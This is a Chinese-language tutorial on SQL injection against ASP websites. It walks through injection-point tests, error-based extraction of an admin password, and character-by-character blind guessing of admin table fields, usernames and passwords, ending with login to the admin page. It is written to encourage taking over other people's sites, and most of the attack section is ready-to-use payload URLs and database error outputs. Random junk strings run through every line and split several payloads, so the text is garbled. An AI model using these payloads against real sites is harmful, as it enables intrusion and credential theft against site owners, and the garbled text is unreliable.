隨著網絡經濟的復舒,開始越來越多的網站湧現出來,隨著腳本漏洞的挖掘,黑客也越來越猖狂,並且越來越低齡化和傻瓜化。「你只要會用一個玩具就可以黑站」,這就是腳本漏洞利的特點。這些漏洞的主要成因是編程程序員的素質,往往在編寫asp或php等程序時候對字符的過濾不嚴密,對注入漏洞不瞭解,或者某個參數忘記檢查導致的。
0 T3 M/ k! g+ ^; r
( s _9 V4 P6 i, [6 `由於編寫網頁程序這個行業的入門門檻不高,程序員的水平及經驗也參差不齊,相當大一部分程序員在編寫代碼的時候,沒有對用戶輸入數據的合法性進行判斷,使應用程序存在安全隱患。用戶可以提交一段數據庫查詢代碼,根據程序返回的結果,獲得某些他想得知的數據,這就是所謂的SQL Injection,即SQL注入。
2 ^* b: X6 y( j& N2 r# G) U# A0 s7 \9 D7 |' V
相當大一部分程序員在編寫代碼的時候,沒有對用戶輸入數據的合法性進行判斷,使應用程序存在安全隱患。我們看一個例子:在本機建一個基於iis的asp程序http://localhost/test/show.asp?ID=3,將這個網址提交到服務器後,服務器將進行類似Select * from 表名 where 字段="&ID的查詢(ID即客戶端提交的參數,本例即是3),再將查詢結果返回給客戶端,如果這裡客戶端故意提交這麼一個網址:http://localhost/test/show.asp?ID=3 and user>0,這時,服務器運行Select * from 表名 where 字段=444 and user>0這樣的查詢,當然,這個語句是運行不下去的,肯定出錯,錯誤信息如下:+ d, N; A* R9 w- h- p! X6 B
* Z- ` b+ S3 K Z
·錯誤類型:# m$ w& }* B/ k1 a5 N" V" i
( l1 c1 \! {/ x' ?; Y
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
' h/ B2 J2 V; ]% R9 n6 p" s[Microsoft][ODBC SQL Server Driver][SQL Server]將 nvarchar 值 』test』 轉換為數據類型為 int 的列時發生語法錯誤。. A6 h; K" ], E8 l$ E# U0 @6 h, _
/test/show.asp, 第 34 行 q+ \: ?9 X9 i9 j8 \, q
0 ^; M Y. J# M
從這個出錯信息中,我們可以獲得以下信息:該站使用MSSQL數據庫,用ODBC連接,連接帳號名為:test。所謂SQL注入,就是利用程序員對用戶輸入數據的合法性檢測不嚴或不檢測的特點,故意從客戶端提交特殊的代碼,從而收集程序及服務器的信息,從而獲取想得到的資料。通常別有用心者的目標是獲取網站管理員的帳號和密碼。比如當知道網站管理員帳號存在表login中,管理員帳號名為admin 想知道admin的密碼,這裡接著從客戶端提交這樣一個網址:
! V( ]3 a0 q/ m3 Z0 ?http://localhost/test/show.asp?ID=4 and (Select password fro
) t& `3 h: C# @. L$ b
; T0 L' b9 V3 t3 l9 gm login where user_name=』admin』)>0,返回的出錯信息如下:" w: g5 R$ s, \, D4 D
% I7 i& ]: A: I4 _5 l# ]1 ^ ·錯誤類型:
, f, f( A5 C: C' I- {( b2 W
" R% r7 h/ N0 |/ `, r" vMicrosoft OLE DB Provider for ODBC Drivers (0x80040E07)3 y: T r6 z. l4 y' c o
[Microsoft][ODBC SQL Server Driver][SQL Server]將 varchar 值 』admin888』 轉換為數據類型為 int 的列時發生語法錯誤。
c% O, g6 N: z. b) v |/test/show.asp, 第 34 行
" T- S6 @% V4 E" x& ?. N& e; K+ \. U: _& y) N
現在出來了「admin888」就是管理員的密碼!得到這個密碼,這時您就可以用這個帳號和密碼接管人家的網站了!當然我們並不知道帳號就在表login中,而且也不知道管理員名為admin,但這些不容難辦到,我們可以寫個玩具進行猜解,速度很快就可以找到你想要的東西了。前面是有關mssql數據庫的注入基礎,我們再看一看acce數據庫的注入基礎:首先進行瀏覽器的設置,以保證手工注入時能返回出錯信息。其操作步驟為:右鍵單擊瀏覽器圖標,選擇「屬性」,在彈出來的對話框中選擇「高級」選項卡,接著去掉「顯示友好的HTTP錯誤信息」前面的鉤,最後點擊「應用」按鈕即可。
! U7 |9 T0 M1 J" J& P- P! F7 t% `. R5 N( W
對於sql注入得先找到注入點,注入點的判斷方法為:通常打開一個類似http://wwww.xx& o% g; f( k( L" q
/ {+ V3 D' ]/ P# Mxx.com/xxx.asp?id=xx的url後加個單引號,變成http://ww.xxx.com/xxx.asp?id=xx』
9 ]- {8 N) E0 t- D
" D! n* q5 f" Y- C6 y如果出現錯誤提示,則說明可能存在注入漏洞,再輸入http://www.xxx.com/xxx.asp?id=xx and 1=1如果存在SQL注入漏洞,就可以查詢數據庫, 1=1是一個恆等式可以忽略,因此會返回一個正常的頁面,此頁面和http://wwww.xxxx.com/xxx.asp?id=xx一樣,這時入侵者便判斷此站有希望被注入。如果返回的是一些錯誤信息,那麼一些初級的入侵者可能就會放棄這個站點。入侵者進一步向瀏覽器提交如下url: http: //www.xxx.com/xxx.asp?id=xx and 1=2,1=2為一個恆不等式,如果該站點支持數據庫查詢,則大概會返回如下所示的信息:
# s" @; T: F0 R/ {' e! `9 Q
9 p+ `, [) n1 e+ [% X$ F3 mMicrosoft vbscript 編譯器錯誤 錯誤碼率
5 j0 T4 N( Q' S) D% b. N; K" a: C
『800a03f6』
4 f' J7 J; @# k! ?& f0 s
( D3 v- |$ P- q缺少』End』& R/ u7 @* v% i5 a1 M; ]2 e$ Z
5 z q9 q! s: |+ {8 b& ^
/iishelp/common/500-100.asp,行242! h+ U% A0 ~$ ?" w
, b# E' N* h& R* E. r3 U+ aADODB.Field 錯誤 『800a0bcd』
5 L, a Y* K5 |8 t/ m) `, K' L9 E3 F
一般出現以上信息就可以確定存在sql注入漏洞了。下面我們來看一下sql注入的過程分析:
" {" J, ~7 m6 A% p, Q$ }2 z6 m( L2 K% r e9 N& y$ O9 |- ?
如: 打開:http://hostlocal/test2/list.asp?id=17在其後面加′為http://hostlocal/test2/list.asp?id=17′
, u7 E- c# p+ z出錯!顯示為:「數據庫出錯」。那麼接下來我們便進行如下操作:
8 z7 E* P+ c2 Z* i8 R
+ K% s1 F% o- e1 猜管理員帳號表。6 M5 r9 B5 ?4 k5 b+ @$ l' `
2 猜相應表中的用戶的字段名以及密碼的字段名。. c- c: O" }7 ^0 f& J9 g, o
3 猜出用戶名的長度和密碼的長度
$ A' x$ m. M# C( P f7 y4 猜出用戶和密碼' A- ^ f' ~. W
5 找到管理頁面進入管理
' [& d; b' S+ r# Y$ ?+ q# p# t2 N* j$ r* j4 q
猜管理員的表: 5 o/ c- \1 P; B8 [
$ w* j9 _4 d. Z2 W
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin)′//min(id)返回表中ID最小值* T' l( T4 ~0 S4 v
返回文章證明,有一個admin的表;如果沒有返回文章,證明出錯不存在admin這個表。" U7 a1 @ D( P" H& R8 Z: [; Y% S
7 B1 |! t4 C* ]; u4 c
猜用戶的字段名:
7 [# N) \5 I1 I$ a, G" j2 F6 Z" g/ ohttp://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where user=′aaa′)返回錯誤信息,表示沒有user這個用戶段名
2 H+ t3 q" M" ?7 o0 p再來!~~~http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where username=′aaa′), a/ z( ^ z2 H# i8 H
沒有返回錯誤信息,又沒有返回文章,提示找不到文章。證明在admin中存在username個字段,只是用戶名不是aaa. U2 q5 I, s H8 l1 q
1 S: F' l# S% ~) Y5 |) ~
猜密碼的字段名:
0 c( r% Z8 x* z8 V S- i0 d5 I( ahttp://hostlocal/test2/list.asp?id=17 and 1=(select min(i, K. e& j% ~ B% j
5 w: j% g" L- y
d) from admin where passwd=′aaa′)返回錯誤信息表示沒有passwd這個密碼字段名。
8 K, i5 c2 ?8 c! A& O1 j
4 F1 Z& S2 N" w再來:http://hostlocal/test2/list.asp?id=17 and 1=(select- X7 _2 `6 S( C- X
) X' T7 K1 p; N; F2 `
min(id) from admin where password=aaa′)沒有返回錯誤信息,又沒有返回文章,提示找不到文章。證明在admin中存在password這個字段,只是密碼不是aaa0 R- o# b6 @; k [
+ n$ `3 |: P1 u0 x! o4 {
猜用戶字段名長度:
3 X4 Q) r. m1 n
* I' ~+ I* Y# p$ u- thttp://hostlocal/test2/list.asp?id=17 and 1=(select min(
+ q0 Z5 r9 s" R6 T4 [4 Y
- X2 U; L T# e! ~$ Gid) from admin where len(username)* p$ v" n$ o' ]& H+ f1 e
4 Y% C& q$ V( N3 j \>5) ; d1 I. A- U4 x8 r
. l% T% A2 x( j! z: l8 s) Y 正確; V8 ^9 U1 Z' y. {
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(username)<10)
( c' Y2 [+ j' T正確! T9 o7 m6 T* i- X( y* @$ k
用戶名長度大於5小於10
* k4 \4 D5 ]0 J- Chttp://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(username)6 r6 H! E. W/ w
) U7 k8 S% g8 l3 k# C/ C* r8 X$ T=7) G$ m0 ]6 f9 l6 z8 o4 m
, v+ ^7 s9 W$ t4 X( I. ]
呵``` 用戶名長度為7位
- ?7 }* ^' D1 @$ G8 u% m. `" o d: C5 W, Q/ }% W
猜密碼長度:
( v/ A* ]" w& M, \" T5 }http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(password)>5)/ \1 x. d0 i$ ?% N6 e& G, x
正確& v. A) I+ u2 h7 I
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(password)<10)
$ `1 _. O' Z3 w& L7 v; w正確
: Q% i$ I6 r b! h X& v( Q密碼長度也是大於5小於10
7 r* s C. L# f4 Ehttp://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(password)=7)% E# r9 } }" U1 r; {2 E
呵``` 密碼長度為7位 ?% B) @7 z# U$ r! T
8 ^, K1 P/ L: Q* y% u猜用戶名:" h4 q2 \6 e$ p
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where mid(username,1,1)=′a′)# y# Q4 K: V/ g" [% T5 c
. ? t$ q6 i2 f% g! I0 v+ _ I 用戶名第一個字母是:a
% x( q, E6 y* v" R9 R9 u/ q5 }; h; A( g+ ~) d, m
猜用戶名第二位:http://hostlocal/test2/list.asp?id=17 and 1=
) U4 p4 Y" Q) j+ t! K( s5 m5 ~* q6 d
) ~& r' D# I- H(select min(id) from admin where mid(username,2,1)=′b′) " F/ X; g' d2 X5 p
* o, p/ |) T: c* a% Q以此類推!+ X2 ~3 R4 h& \9 f
2 t! _* l* R3 R% \猜密碼:
4 Z/ T0 |; x- x4 g4 \# n4 n
& ]8 `$ Q/ a7 m" n- B2 t1 E7 y猜密碼跟猜用戶名一樣!2 \9 ~/ n0 j9 X( m! Z w# U* W5 w
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where mid(password,1,1)=′a′) - S+ q8 c q: G. m' k
猜完後來到管理頁面:) O5 H W! D, j8 ?- Z
http://hostlocal/test2/admin.asp
# Z9 ~0 [& M' M% Q G3 }8 t
! \5 \% c6 w8 k- a( R( S* o登錄 |
|